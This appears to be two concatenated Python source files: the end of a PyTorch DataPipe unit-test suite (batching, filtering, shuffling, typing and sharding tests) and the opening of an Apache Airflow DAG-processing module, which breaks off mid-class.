self.assertEqual(list(range(0, 10, 2)), list(dp1)) # Reset even when dp2 is not read self.assertEqual(len(wa), 1) self.assertRegex(str(wa[0].message), r"Some child DataPipes are not exhausted") output2 = [] for i, n2 in enumerate(dp2): output2.append(n2) if i == 1: self.assertEqual(list(range(1, 5, 2)), output2) with warnings.catch_warnings(record=True) as wa: self.assertEqual(list(range(0, 10, 2)), list(dp1)) # Can reset even when dp2 is partially read self.assertEqual(len(wa), 1) self.assertRegex(str(wa[0].message), r"Some child DataPipes are not exhausted") break output2 = list(dp2) # output2 has to read from beginning again self.assertEqual(list(range(1, 10, 2)), output2) # Test Case: drop_none = True dp1, dp2 = input_dp.demux(num_instances=2, classifier_fn=lambda x: x % 2 if x % 5 != 0 else None, drop_none=True) self.assertEqual([2, 4, 6, 8], list(dp1)) self.assertEqual([1, 3, 7, 9], list(dp2)) # Test Case: drop_none = False dp1, dp2 = input_dp.demux(num_instances=2, classifier_fn=lambda x: x % 2 if x % 5 != 0 else None, drop_none=False) it1 = iter(dp1) with self.assertRaises(ValueError): next(it1) # Test Case: __len__ not implemented dp1, dp2 = input_dp.demux(num_instances=2, classifier_fn=lambda x: x % 2) with self.assertRaises(TypeError): len(dp1) # It is not implemented as we do not know length for each child in advance with self.assertRaises(TypeError): len(dp2) def test_map_datapipe(self): input_dp = IDP(range(10)) def fn(item, dtype=torch.float, *, sum=False): data = torch.tensor(item, dtype=dtype) return data if not sum else data.sum() map_dp = input_dp.map(fn) self.assertEqual(len(input_dp), len(map_dp)) for x, y in zip(map_dp, input_dp): self.assertEqual(x, torch.tensor(y, dtype=torch.float)) map_dp = input_dp.map(fn=fn, fn_args=(torch.int, ), fn_kwargs={'sum': True}) self.assertEqual(len(input_dp), len(map_dp)) for x, y in zip(map_dp, input_dp): self.assertEqual(x, torch.tensor(y, dtype=torch.int).sum()) from functools import partial map_dp = input_dp.map(partial(fn, dtype=torch.int, sum=True)) self.assertEqual(len(input_dp), len(map_dp)) for x, y in zip(map_dp, input_dp): self.assertEqual(x, torch.tensor(y, dtype=torch.int).sum()) input_dp_nl = IDP_NoLen(range(10)) map_dp_nl = input_dp_nl.map() with self.assertRaisesRegex(TypeError, r"instance doesn't have valid length$"): len(map_dp_nl) for x, y in zip(map_dp_nl, input_dp_nl): self.assertEqual(x, torch.tensor(y, dtype=torch.float)) # TODO(VitalyFedyunin): If dill installed this test fails def _test_map_datapipe_nested_level(self): input_dp = IDP([list(range(10)) for _ in range(3)]) def fn(item, *, dtype=torch.float): return torch.tensor(item, dtype=dtype) with warnings.catch_warnings(record=True) as wa: map_dp = input_dp.map(lambda ls: ls * 2, nesting_level=0) self.assertEqual(len(wa), 1) self.assertRegex(str(wa[0].message), r"^Lambda function is not supported for pickle") self.assertEqual(len(input_dp), len(map_dp)) for x, y in zip(map_dp, input_dp): self.assertEqual(x, y * 2) map_dp = input_dp.map(fn, nesting_level=1) self.assertEqual(len(input_dp), len(map_dp)) for x, y in zip(map_dp, input_dp): self.assertEqual(len(x), len(y)) for a, b in zip(x, y): self.assertEqual(a, torch.tensor(b, dtype=torch.float)) map_dp = input_dp.map(fn, nesting_level=-1) self.assertEqual(len(input_dp), len(map_dp)) for x, y in zip(map_dp, input_dp): self.assertEqual(len(x), len(y)) for a, b in zip(x, y): self.assertEqual(a, torch.tensor(b, dtype=torch.float)) map_dp = input_dp.map(fn, nesting_level=4) with self.assertRaises(IndexError): list(map_dp) with self.assertRaises(ValueError): input_dp.map(fn, nesting_level=-2) def test_collate_datapipe(self): arrs = [[1, 2, 3], [4, 5, 6], [7, 8, 9]] input_dp = IDP(arrs) def _collate_fn(batch): return torch.tensor(sum(batch), dtype=torch.float) collate_dp = input_dp.collate(collate_fn=_collate_fn) self.assertEqual(len(input_dp), len(collate_dp)) for x, y in zip(collate_dp, input_dp): self.assertEqual(x, torch.tensor(sum(y), dtype=torch.float)) input_dp_nl = IDP_NoLen(arrs) collate_dp_nl = input_dp_nl.collate() with self.assertRaisesRegex(TypeError, r"instance doesn't have valid length$"): len(collate_dp_nl) for x, y in zip(collate_dp_nl, input_dp_nl): self.assertEqual(x, torch.tensor(y)) def test_batch_datapipe(self): arrs = list(range(10)) input_dp = IDP(arrs) with self.assertRaises(AssertionError): input_dp.batch(batch_size=0) # Default not drop the last batch bs = 3 batch_dp = input_dp.batch(batch_size=bs) self.assertEqual(len(batch_dp), 4) for i, batch in enumerate(batch_dp): self.assertEqual(len(batch), 1 if i == 3 else bs) self.assertEqual(batch, arrs[i * bs: i * bs + len(batch)]) # Drop the last batch bs = 4 batch_dp = input_dp.batch(batch_size=bs, drop_last=True) self.assertEqual(len(batch_dp), 2) for i, batch in enumerate(batch_dp): self.assertEqual(len(batch), bs) self.assertEqual(batch, arrs[i * bs: i * bs + len(batch)]) input_dp_nl = IDP_NoLen(range(10)) batch_dp_nl = input_dp_nl.batch(batch_size=2) with self.assertRaisesRegex(TypeError, r"instance doesn't have valid length$"): len(batch_dp_nl) def test_unbatch_datapipe(self): target_length = 6 prebatch_dp = IDP(range(target_length)) input_dp = prebatch_dp.batch(3) unbatch_dp = input_dp.unbatch() self.assertEqual(len(list(unbatch_dp)), target_length) for i, res in zip(prebatch_dp, unbatch_dp): self.assertEqual(i, res) input_dp = IDP([[0, 1, 2], [3, 4, 5]]) unbatch_dp = input_dp.unbatch() self.assertEqual(len(list(unbatch_dp)), target_length) for i, res in zip(prebatch_dp, unbatch_dp): self.assertEqual(i, res) input_dp = IDP([[[0, 1], [2, 3]], [[4, 5], [6, 7]]]) unbatch_dp = input_dp.unbatch() expected_dp = [[0, 1], [2, 3], [4, 5], [6, 7]] self.assertEqual(len(list(unbatch_dp)), 4) for i, res in zip(expected_dp, unbatch_dp): self.assertEqual(i, res) unbatch_dp = input_dp.unbatch(unbatch_level=2) expected_dp2 = [0, 1, 2, 3, 4, 5, 6, 7] self.assertEqual(len(list(unbatch_dp)), 8) for i, res in zip(expected_dp2, unbatch_dp): self.assertEqual(i, res) unbatch_dp = input_dp.unbatch(unbatch_level=-1) self.assertEqual(len(list(unbatch_dp)), 8) for i, res in zip(expected_dp2, unbatch_dp): self.assertEqual(i, res) input_dp = IDP([[0, 1, 2], [3, 4, 5]]) with self.assertRaises(ValueError): unbatch_dp = input_dp.unbatch(unbatch_level=-2) for i in unbatch_dp: print(i) with self.assertRaises(IndexError): unbatch_dp = input_dp.unbatch(unbatch_level=5) for i in unbatch_dp: print(i) def test_bucket_batch_datapipe(self): input_dp = IDP(range(20)) with self.assertRaises(AssertionError): dp.iter.BucketBatcher(input_dp, batch_size=0) input_dp_nl = IDP_NoLen(range(20)) bucket_dp_nl = dp.iter.BucketBatcher(input_dp_nl, batch_size=7) with self.assertRaisesRegex(TypeError, r"instance doesn't have valid length$"): len(bucket_dp_nl) def _helper(**kwargs): data_len = 100 arrs = list(range(data_len)) random.shuffle(arrs) input_dp = IDP(arrs) bucket_dp = dp.iter.BucketBatcher(input_dp, **kwargs) self.assertEqual(len(bucket_dp), data_len // 3 if kwargs['drop_last'] else data_len // 3 + 1) def _verify_bucket_sorted(bucket): # Sort batch in a bucket bucket = sorted(bucket, key=lambda x: x[0]) flat = [item for batch in bucket for item in batch] # Elements in the bucket should be sorted self.assertEqual(flat, sorted(flat)) batch_num = kwargs['batch_num'] if 'batch_num' in kwargs else 100 bucket = [] for idx, d in enumerate(bucket_dp): self.assertEqual(d, sorted(d)) bucket.append(d) if idx % batch_num == batch_num - 1: _verify_bucket_sorted(bucket) bucket = [] _verify_bucket_sorted(bucket) def _sort_fn(data): return sorted(data) # In-batch shuffle _helper(batch_size=3, drop_last=False, batch_num=5, sort_key=_sort_fn) _helper(batch_size=3, drop_last=False, batch_num=2, bucket_num=2, sort_key=_sort_fn) _helper(batch_size=3, drop_last=True, batch_num=2, sort_key=_sort_fn) _helper(batch_size=3, drop_last=True, batch_num=2, bucket_num=2, sort_key=_sort_fn) def test_filter_datapipe(self): input_ds = IDP(range(10)) def _filter_fn(data, val, clip=False): if clip: return data >= val return True filter_dp = input_ds.filter(filter_fn=_filter_fn, fn_args=(5, )) for data, exp in zip(filter_dp, range(10)): self.assertEqual(data, exp) filter_dp = input_ds.filter(filter_fn=_filter_fn, fn_kwargs={'val': 5, 'clip': True}) for data, exp in zip(filter_dp, range(5, 10)): self.assertEqual(data, exp) with self.assertRaisesRegex(TypeError, r"has no len"): len(filter_dp) def _non_bool_fn(data): return 1 filter_dp = input_ds.filter(filter_fn=_non_bool_fn) with self.assertRaises(ValueError): temp = list(filter_dp) def test_filter_datapipe_nested_list(self): input_ds = IDP(range(10)).batch(5) def _filter_fn(data, val): return data >= val filter_dp = input_ds.filter(nesting_level=-1, filter_fn=_filter_fn, fn_kwargs={'val': 5}) expected_dp1 = [[5, 6, 7, 8, 9]] self.assertEqual(len(list(filter_dp)), len(expected_dp1)) for data, exp in zip(filter_dp, expected_dp1): self.assertEqual(data, exp) filter_dp = input_ds.filter(nesting_level=-1, drop_empty_batches=False, filter_fn=_filter_fn, fn_kwargs={'val': 5}) expected_dp2: List[List[int]] = [[], [5, 6, 7, 8, 9]] self.assertEqual(len(list(filter_dp)), len(expected_dp2)) for data, exp in zip(filter_dp, expected_dp2): self.assertEqual(data, exp) with self.assertRaises(IndexError): filter_dp = input_ds.filter(nesting_level=5, filter_fn=_filter_fn, fn_kwargs={'val': 5}) temp = list(filter_dp) input_ds = IDP(range(10)).batch(3) filter_dp = input_ds.filter(lambda ls: len(ls) >= 3) expected_dp3: List[List[int]] = [[0, 1, 2], [3, 4, 5], [6, 7, 8]] self.assertEqual(len(list(filter_dp)), len(expected_dp3)) for data, exp in zip(filter_dp, expected_dp3): self.assertEqual(data, exp) input_ds = IDP([[[0, 1, 2], [3, 4, 5]], [[6, 7, 8], [1, 2, 3]]]) filter_dp = input_ds.filter(lambda x: x > 3, nesting_level=-1) expected_dp4 = [[[4, 5]], [[6, 7, 8]]] self.assertEqual(len(list(filter_dp)), len(expected_dp4)) for data2, exp2 in zip(filter_dp, expected_dp4): self.assertEqual(data2, exp2) input_ds = IDP([[[0, 1, 2], [3, 4, 5]], [[6, 7, 8], [1, 2, 3]]]) filter_dp = input_ds.filter(lambda x: x > 7, nesting_level=-1) expected_dp5 = [[[8]]] self.assertEqual(len(list(filter_dp)), len(expected_dp5)) for data2, exp2 in zip(filter_dp, expected_dp5): self.assertEqual(data2, exp2) input_ds = IDP([[[0, 1], [3, 4]], [[6, 7, 8], [1, 2, 3]]]) filter_dp = input_ds.filter(lambda ls: len(ls) >= 3, nesting_level=1) expected_dp6 = [[[6, 7, 8], [1, 2, 3]]] self.assertEqual(len(list(filter_dp)), len(expected_dp6)) for data2, exp2 in zip(filter_dp, expected_dp6): self.assertEqual(data2, exp2) def test_sampler_datapipe(self): input_dp = IDP(range(10)) # Default SequentialSampler sampled_dp = dp.iter.Sampler(input_dp) # type: ignore[var-annotated] self.assertEqual(len(sampled_dp), 10) for i, x in enumerate(sampled_dp): self.assertEqual(x, i) # RandomSampler random_sampled_dp = dp.iter.Sampler(input_dp, sampler=RandomSampler, sampler_kwargs={'replacement': True}) # type: ignore[var-annotated] # noqa: B950 # Requires `__len__` to build SamplerDataPipe input_dp_nolen = IDP_NoLen(range(10)) with self.assertRaises(AssertionError): sampled_dp = dp.iter.Sampler(input_dp_nolen) def test_shuffle_datapipe(self): exp = list(range(20)) input_ds = IDP(exp) with self.assertRaises(AssertionError): shuffle_dp = input_ds.shuffle(buffer_size=0) for bs in (5, 20, 25): shuffle_dp = input_ds.shuffle(buffer_size=bs) self.assertEqual(len(shuffle_dp), len(input_ds)) random.seed(123) res = list(shuffle_dp) self.assertEqual(sorted(res), exp) # Test Deterministic for num_workers in (0, 1): random.seed(123) dl = DataLoader(shuffle_dp, num_workers=num_workers, worker_init_fn=_worker_init_fn) dl_res = list(dl) self.assertEqual(res, dl_res) shuffle_dp_nl = IDP_NoLen(range(20)).shuffle(buffer_size=5) with self.assertRaisesRegex(TypeError, r"instance doesn't have valid length$"): len(shuffle_dp_nl) def test_zip_datapipe(self): with self.assertRaises(TypeError): dp.iter.Zipper(IDP(range(10)), list(range(10))) # type: ignore[arg-type] zipped_dp = dp.iter.Zipper(IDP(range(10)), IDP_NoLen(range(5))) # type: ignore[var-annotated] with self.assertRaisesRegex(TypeError, r"instance doesn't have valid length$"): len(zipped_dp) exp = list((i, i) for i in range(5)) self.assertEqual(list(zipped_dp), exp) zipped_dp = dp.iter.Zipper(IDP(range(10)), IDP(range(5))) self.assertEqual(len(zipped_dp), 5) self.assertEqual(list(zipped_dp), exp) # Reset self.assertEqual(list(zipped_dp), exp) class TestFunctionalMapDataPipe(TestCase): # TODO(VitalyFedyunin): If dill installed this test fails def _test_picklable(self): arr = range(10) picklable_datapipes: List[ Tuple[Type[MapDataPipe], MapDataPipe, Tuple, Dict[str, Any]] ] = [ (dp.map.Mapper, MDP(arr), (), {}), (dp.map.Mapper, MDP(arr), (_fake_fn, (0,), {'test': True}), {}), ] for dpipe, input_dp, dp_args, dp_kwargs in picklable_datapipes: p = pickle.dumps(dpipe(input_dp, *dp_args, **dp_kwargs)) # type: ignore[call-arg] unpicklable_datapipes: List[ Tuple[Type[MapDataPipe], MapDataPipe, Tuple, Dict[str, Any]] ] = [ (dp.map.Mapper, MDP(arr), (lambda x: x,), {}), ] for dpipe, input_dp, dp_args, dp_kwargs in unpicklable_datapipes: with warnings.catch_warnings(record=True) as wa: datapipe = dpipe(input_dp, *dp_args, **dp_kwargs) # type: ignore[call-arg] self.assertEqual(len(wa), 1) self.assertRegex( str(wa[0].message), r"^Lambda function is not supported for pickle" ) with self.assertRaises(AttributeError): p = pickle.dumps(datapipe) def test_concat_datapipe(self): input_dp1 = MDP(range(10)) input_dp2 = MDP(range(5)) with self.assertRaisesRegex(ValueError, r"Expected at least one DataPipe"): dp.map.Concater() with self.assertRaisesRegex(TypeError, r"Expected all inputs to be `MapDataPipe`"): dp.map.Concater(input_dp1, ()) # type: ignore[arg-type] concat_dp = input_dp1.concat(input_dp2) self.assertEqual(len(concat_dp), 15) for index in range(15): self.assertEqual(concat_dp[index], (list(range(10)) + list(range(5)))[index]) self.assertEqual(list(concat_dp), list(range(10)) + list(range(5))) def test_map_datapipe(self): arr = range(10) input_dp = MDP(arr) def fn(item, dtype=torch.float, *, sum=False): data = torch.tensor(item, dtype=dtype) return data if not sum else data.sum() map_dp = input_dp.map(fn) self.assertEqual(len(input_dp), len(map_dp)) for index in arr: self.assertEqual( map_dp[index], torch.tensor(input_dp[index], dtype=torch.float) ) map_dp = input_dp.map(fn=fn, fn_args=(torch.int,), fn_kwargs={'sum': True}) self.assertEqual(len(input_dp), len(map_dp)) for index in arr: self.assertEqual( map_dp[index], torch.tensor(input_dp[index], dtype=torch.int).sum() ) from functools import partial map_dp = input_dp.map(partial(fn, dtype=torch.int, sum=True)) self.assertEqual(len(input_dp), len(map_dp)) for index in arr: self.assertEqual( map_dp[index], torch.tensor(input_dp[index], dtype=torch.int).sum() ) def test_mux_datapipe(self): # Test Case: Elements are yielded one at a time from each DataPipe, until they are all exhausted input_dp1 = IDP(range(4)) input_dp2 = IDP(range(4, 8)) input_dp3 = IDP(range(8, 12)) output_dp = input_dp1.mux(input_dp2, input_dp3) expected_output = [0, 4, 8, 1, 5, 9, 2, 6, 10, 3, 7, 11] self.assertEqual(len(expected_output), len(output_dp)) self.assertEqual(expected_output, list(output_dp)) # Test Case: Uneven input Data Pipes input_dp1 = IDP([1, 2, 3, 4]) input_dp2 = IDP([10]) input_dp3 = IDP([100, 200, 300]) output_dp = input_dp1.mux(input_dp2, input_dp3) expected_output = [1, 10, 100, 2, 200, 3, 300, 4] self.assertEqual(len(expected_output), len(output_dp)) self.assertEqual(expected_output, list(output_dp)) # Test Case: Empty Data Pipe input_dp1 = IDP([0, 1, 2, 3]) input_dp2 = IDP([]) output_dp = input_dp1.mux(input_dp2) self.assertEqual(len(input_dp1), len(output_dp)) self.assertEqual(list(input_dp1), list(output_dp)) # Test Case: raises TypeError when __len__ is called and an input doesn't have __len__ input_dp1 = IDP(range(10)) input_dp_no_len = IDP_NoLen(range(10)) output_dp = input_dp1.mux(input_dp_no_len) with self.assertRaises(TypeError): len(output_dp) # Metaclass conflict for Python 3.6 # Multiple inheritance with NamedTuple is not supported for Python 3.9 _generic_namedtuple_allowed = sys.version_info >= (3, 7) and sys.version_info < (3, 9) if _generic_namedtuple_allowed: class InvalidData(Generic[T_co], NamedTuple): name: str data: T_co class TestTyping(TestCase): def test_subtype(self): from torch.utils.data._typing import issubtype basic_type = (int, str, bool, float, complex, list, tuple, dict, set, T_co) for t in basic_type: self.assertTrue(issubtype(t, t)) self.assertTrue(issubtype(t, Any)) if t == T_co: self.assertTrue(issubtype(Any, t)) else: self.assertFalse(issubtype(Any, t)) for t1, t2 in itertools.product(basic_type, basic_type): if t1 == t2 or t2 == T_co: self.assertTrue(issubtype(t1, t2)) else: self.assertFalse(issubtype(t1, t2)) T = TypeVar('T', int, str) S = TypeVar('S', bool, Union[str, int], Tuple[int, T]) # type: ignore[valid-type] types = ((int, Optional[int]), (List, Union[int, list]), (Tuple[int, str], S), (Tuple[int, str], tuple), (T, S), (S, T_co), (T, Union[S, Set])) for sub, par in types: self.assertTrue(issubtype(sub, par)) self.assertFalse(issubtype(par, sub)) subscriptable_types = { List: 1, Tuple: 2, # use 2 parameters Set: 1, Dict: 2, } for subscript_type, n in subscriptable_types.items(): for ts in itertools.combinations(types, n): subs, pars = zip(*ts) sub = subscript_type[subs] # type: ignore[index] par = subscript_type[pars] # type: ignore[index] self.assertTrue(issubtype(sub, par)) self.assertFalse(issubtype(par, sub)) # Non-recursive check self.assertTrue(issubtype(par, sub, recursive=False)) def test_issubinstance(self): from torch.utils.data._typing import issubinstance basic_data = (1, '1', True, 1., complex(1., 0.)) basic_type = (int, str, bool, float, complex) S = TypeVar('S', bool, Union[str, int]) for d in basic_data: self.assertTrue(issubinstance(d, Any)) self.assertTrue(issubinstance(d, T_co)) if type(d) in (bool, int, str): self.assertTrue(issubinstance(d, S)) else: self.assertFalse(issubinstance(d, S)) for t in basic_type: if type(d) == t: self.assertTrue(issubinstance(d, t)) else: self.assertFalse(issubinstance(d, t)) # list/set dt = (([1, '1', 2], List), (set({1, '1', 2}), Set)) for d, t in dt: self.assertTrue(issubinstance(d, t)) self.assertTrue(issubinstance(d, t[T_co])) # type: ignore[index] self.assertFalse(issubinstance(d, t[int])) # type: ignore[index] # dict d = dict({'1': 1, '2': 2.}) self.assertTrue(issubinstance(d, Dict)) self.assertTrue(issubinstance(d, Dict[str, T_co])) self.assertFalse(issubinstance(d, Dict[str, int])) # tuple d = (1, '1', 2) self.assertTrue(issubinstance(d, Tuple)) self.assertTrue(issubinstance(d, Tuple[int, str, T_co])) self.assertFalse(issubinstance(d, Tuple[int, Any])) self.assertFalse(issubinstance(d, Tuple[int, int, int])) # Static checking annotation def test_compile_time(self): with self.assertRaisesRegex(TypeError, r"Expected 'Iterator' as the return"): class InvalidDP1(IterDataPipe[int]): def __iter__(self) -> str: # type: ignore[misc, override] yield 0 with self.assertRaisesRegex(TypeError, r"Expected return type of '__iter__'"): class InvalidDP2(IterDataPipe[Tuple]): def __iter__(self) -> Iterator[int]: # type: ignore[override] yield 0 with self.assertRaisesRegex(TypeError, r"Expected return type of '__iter__'"): class InvalidDP3(IterDataPipe[Tuple[int, str]]): def __iter__(self) -> Iterator[tuple]: # type: ignore[override] yield (0, ) if _generic_namedtuple_allowed: with self.assertRaisesRegex(TypeError, r"is not supported by Python typing"): class InvalidDP4(IterDataPipe["InvalidData[int]"]): # type: ignore[type-arg, misc] pass class DP1(IterDataPipe[Tuple[int, str]]): def __init__(self, length): self.length = length def __iter__(self) -> Iterator[Tuple[int, str]]: for d in range(self.length): yield d, str(d) self.assertTrue(issubclass(DP1, IterDataPipe)) dp1 = DP1(10) self.assertTrue(DP1.type.issubtype(dp1.type) and dp1.type.issubtype(DP1.type)) dp2 = DP1(5) self.assertEqual(dp1.type, dp2.type) with self.assertRaisesRegex(TypeError, r"is not a generic class"): class InvalidDP5(DP1[tuple]): # type: ignore[type-arg] def __iter__(self) -> Iterator[tuple]: # type: ignore[override] yield (0, ) class DP2(IterDataPipe[T_co]): def __iter__(self) -> Iterator[T_co]: for d in range(10): yield d # type: ignore[misc] self.assertTrue(issubclass(DP2, IterDataPipe)) dp1 = DP2() # type: ignore[assignment] self.assertTrue(DP2.type.issubtype(dp1.type) and dp1.type.issubtype(DP2.type)) dp2 = DP2() # type: ignore[assignment] self.assertEqual(dp1.type, dp2.type) class DP3(IterDataPipe[Tuple[T_co, str]]): r""" DataPipe without fixed type with __init__ function""" def __init__(self, datasource): self.datasource = datasource def __iter__(self) -> Iterator[Tuple[T_co, str]]: for d in self.datasource: yield d, str(d) self.assertTrue(issubclass(DP3, IterDataPipe)) dp1 = DP3(range(10)) # type: ignore[assignment] self.assertTrue(DP3.type.issubtype(dp1.type) and dp1.type.issubtype(DP3.type)) dp2 = DP3(5) # type: ignore[assignment] self.assertEqual(dp1.type, dp2.type) class DP4(IterDataPipe[tuple]): r""" DataPipe without __iter__ annotation""" def __iter__(self): raise NotImplementedError self.assertTrue(issubclass(DP4, IterDataPipe)) dp = DP4() self.assertTrue(dp.type.param == tuple) class DP5(IterDataPipe): r""" DataPipe without type annotation""" def __iter__(self) -> Iterator[str]: raise NotImplementedError self.assertTrue(issubclass(DP5, IterDataPipe)) dp = DP5() # type: ignore[assignment] from torch.utils.data._typing import issubtype self.assertTrue(issubtype(dp.type.param, Any) and issubtype(Any, dp.type.param)) class DP6(IterDataPipe[int]): r""" DataPipe with plain Iterator""" def __iter__(self) -> Iterator: raise NotImplementedError self.assertTrue(issubclass(DP6, IterDataPipe)) dp = DP6() # type: ignore[assignment] self.assertTrue(dp.type.param == int) class DP7(IterDataPipe[Awaitable[T_co]]): r""" DataPipe with abstract base class""" self.assertTrue(issubclass(DP6, IterDataPipe)) self.assertTrue(DP7.type.param == Awaitable[T_co]) class DP8(DP7[str]): r""" DataPipe subclass from a DataPipe with abc type""" self.assertTrue(issubclass(DP8, IterDataPipe)) self.assertTrue(DP8.type.param == Awaitable[str]) def test_construct_time(self): class DP0(IterDataPipe[Tuple]): @argument_validation def __init__(self, dp: IterDataPipe): self.dp = dp def __iter__(self) -> Iterator[Tuple]: for d in self.dp: yield d, str(d) class DP1(IterDataPipe[int]): @argument_validation def __init__(self, dp: IterDataPipe[Tuple[int, str]]): self.dp = dp def __iter__(self) -> Iterator[int]: for a, b in self.dp: yield a # Non-DataPipe input with DataPipe hint datasource = [(1, '1'), (2, '2'), (3, '3')] with self.assertRaisesRegex(TypeError, r"Expected argument 'dp' as a IterDataPipe"): dp = DP0(datasource) dp = DP0(IDP(range(10))) with self.assertRaisesRegex(TypeError, r"Expected type of argument 'dp' as a subtype"): dp = DP1(dp) def test_runtime(self): class DP(IterDataPipe[Tuple[int, T_co]]): def __init__(self, datasource): self.ds = datasource @runtime_validation def __iter__(self) -> Iterator[Tuple[int, T_co]]: for d in self.ds: yield d dss = ([(1, '1'), (2, '2')], [(1, 1), (2, '2')]) for ds in dss: dp = DP(ds) # type: ignore[var-annotated] self.assertEqual(list(dp), ds) # Reset __iter__ self.assertEqual(list(dp), ds) dss = ([(1, 1), ('2', 2)], # type: ignore[assignment, list-item] [[1, '1'], [2, '2']], # type: ignore[list-item] [1, '1', 2, '2']) for ds in dss: dp = DP(ds) with self.assertRaisesRegex(RuntimeError, r"Expected an instance as subtype"): list(dp) with runtime_validation_disabled(): self.assertEqual(list(dp), ds) with runtime_validation_disabled(): self.assertEqual(list(dp), ds) with self.assertRaisesRegex(RuntimeError, r"Expected an instance as subtype"): list(dp) def test_reinforce(self): T = TypeVar('T', int, str) class DP(IterDataPipe[T]): def __init__(self, ds): self.ds = ds @runtime_validation def __iter__(self) -> Iterator[T]: for d in self.ds: yield d ds = list(range(10)) # Valid type reinforcement dp = DP(ds).reinforce_type(int) self.assertTrue(dp.type, int) self.assertEqual(list(dp), ds) # Invalid type with self.assertRaisesRegex(TypeError, r"'expected_type' must be a type"): dp = DP(ds).reinforce_type(1) # Type is not subtype with self.assertRaisesRegex(TypeError, r"Expected 'expected_type' as subtype of"): dp = DP(ds).reinforce_type(float) # Invalid data at runtime dp = DP(ds).reinforce_type(str) with self.assertRaisesRegex(RuntimeError, r"Expected an instance as subtype"): list(dp) # Context Manager to disable the runtime validation with runtime_validation_disabled(): self.assertEqual(list(d for d in dp), ds) class NumbersDataset(IterDataPipe): def __init__(self, size=10): self.size = size def __iter__(self): for i in range(self.size): yield i class TestGraph(TestCase): @skipIfNoDill def test_simple_traverse(self): numbers_dp = NumbersDataset(size=50) mapped_dp = numbers_dp.map(lambda x: x * 10) graph = torch.utils.data.graph.traverse(mapped_dp) expected: Dict[Any, Any] = {mapped_dp: {numbers_dp: {}}} self.assertEqual(expected, graph) @skipIfNoDill def test_traverse_forked(self): numbers_dp = NumbersDataset(size=50) dp0, dp1, dp2 = numbers_dp.fork(num_instances=3) dp0_upd = dp0.map(lambda x: x * 10) dp1_upd = dp1.filter(lambda x: x % 3 == 1) combined_dp = dp0_upd.mux(dp1_upd, dp2) graph = torch.utils.data.graph.traverse(combined_dp) expected = {combined_dp: {dp0_upd: {dp0: {dp0.main_datapipe: {dp0.main_datapipe.main_datapipe: {}}}}, dp1_upd: {dp1: {dp1.main_datapipe: {dp1.main_datapipe.main_datapipe: {}}}}, dp2: {dp2.main_datapipe: {dp2.main_datapipe.main_datapipe: {}}}}} self.assertEqual(expected, graph) class TestSharding(TestCase): def _get_pipeline(self): numbers_dp = NumbersDataset(size=10) dp0, dp1 = numbers_dp.fork(num_instances=2) dp0_upd = dp0.map(lambda x: x * 10) dp1_upd = dp1.filter(lambda x: x % 3 == 1) combined_dp = dp0_upd.mux(dp1_upd) return combined_dp @skipIfNoDill def test_simple_sharding(self): sharded_dp = self._get_pipeline().sharding_filter() torch.utils.data.sharding.apply_sharding(sharded_dp, 3, 1) items = list(sharded_dp) self.assertEqual([1, 20, 40, 70], items) all_items = list(self._get_pipeline()) items = [] for i in range(3): sharded_dp = self._get_pipeline().sharding_filter() torch.utils.data.sharding.apply_sharding(sharded_dp, 3, i) items += list(sharded_dp) self.assertEqual(sorted(all_items), sorted(items)) def test_sharding_length(self): numbers_dp = IDP(range(13)) sharded_dp0 = numbers_dp.sharding_filter() torch.utils.data.sharding.apply_sharding(sharded_dp0, 3, 0) sharded_dp1 = numbers_dp.sharding_filter() torch.utils.data.sharding.apply_sharding(sharded_dp1, 3, 1) sharded_dp2 = numbers_dp.sharding_filter() torch.utils.data.sharding.apply_sharding(sharded_dp2, 3, 2) self.assertEqual(13, len(numbers_dp)) self.assertEqual(5, len(sharded_dp0)) self.assertEqual(4, len(sharded_dp1)) self.assertEqual(4, len(sharded_dp2)) numbers_dp = IDP(range(1)) sharded_dp0 = numbers_dp.sharding_filter() torch.utils.data.sharding.apply_sharding(sharded_dp0, 2, 0) sharded_dp1 = numbers_dp.sharding_filter() torch.utils.data.sharding.apply_sharding(sharded_dp1, 2, 1) self.assertEqual(1, len(sharded_dp0)) self.assertEqual(0, len(sharded_dp1)) @skipIfNoDill def test_old_dataloader(self): dp = self._get_pipeline() expected = list(dp) dp = self._get_pipeline().sharding_filter() dl = DataLoader(dp, batch_size=1, shuffle=False, num_workers=2, worker_init_fn=torch.utils.data.backward_compatibility.worker_init_fn) items = [] for i in dl: items.append(i) self.assertEqual(sorted(expected), sorted(items)) if __name__ == '__main__': run_tests()
dag_processing.py
# # Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not use this file except in compliance # with the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. """Processes DAGs.""" import enum import importlib import inspect import logging import multiprocessing import os import signal import sys import time from abc import ABCMeta, abstractmethod from collections import defaultdict from datetime import datetime, timedelta from importlib import import_module from multiprocessing.connection import Connection as MultiprocessingConnection from typing import Any, Callable, Dict, List, NamedTuple, Optional, Tuple, Union, cast from setproctitle import setproctitle # pylint: disable=no-name-in-module from sqlalchemy import or_ from tabulate import tabulate import airflow.models from airflow.configuration import conf from airflow.models import DagModel, errors from airflow.models.serialized_dag import SerializedDagModel from airflow.models.taskinstance import SimpleTaskInstance from airflow.settings import STORE_DAG_CODE from airflow.stats import Stats from airflow.utils import timezone from airflow.utils.callback_requests import CallbackRequest, SlaCallbackRequest, TaskCallbackRequest from airflow.utils.file import list_py_file_paths from airflow.utils.log.logging_mixin import LoggingMixin from airflow.utils.mixins import MultiprocessingStartMethodMixin from airflow.utils.process_utils import kill_child_processes_by_pids, reap_process_group from airflow.utils.session import provide_session from airflow.utils.state import State class AbstractDagFileProcessorProcess(metaclass=ABCMeta): """Processes a DAG file. See SchedulerJob.process_file() for more details.""" @abstractmethod def start(self) -> None: """Launch the process to process the file""" raise NotImplementedError() @abstractmethod def terminate(self, sigkill: bool = False): """Terminate (and then kill) the process launched to process the file""" raise NotImplementedError() @abstractmethod def kill(self) -> None: """Kill the process launched to process the file, and ensure consistent state.""" raise NotImplementedError() @property @abstractmethod def pid(self) -> int: """:return: the PID of the process launched to process the given file""" raise NotImplementedError() @property @abstractmethod def exit_code(self) -> Optional[int]: """ After the process is finished, this can be called to get the return code :return: the exit code of the process :rtype: int """ raise NotImplementedError() @property @abstractmethod def 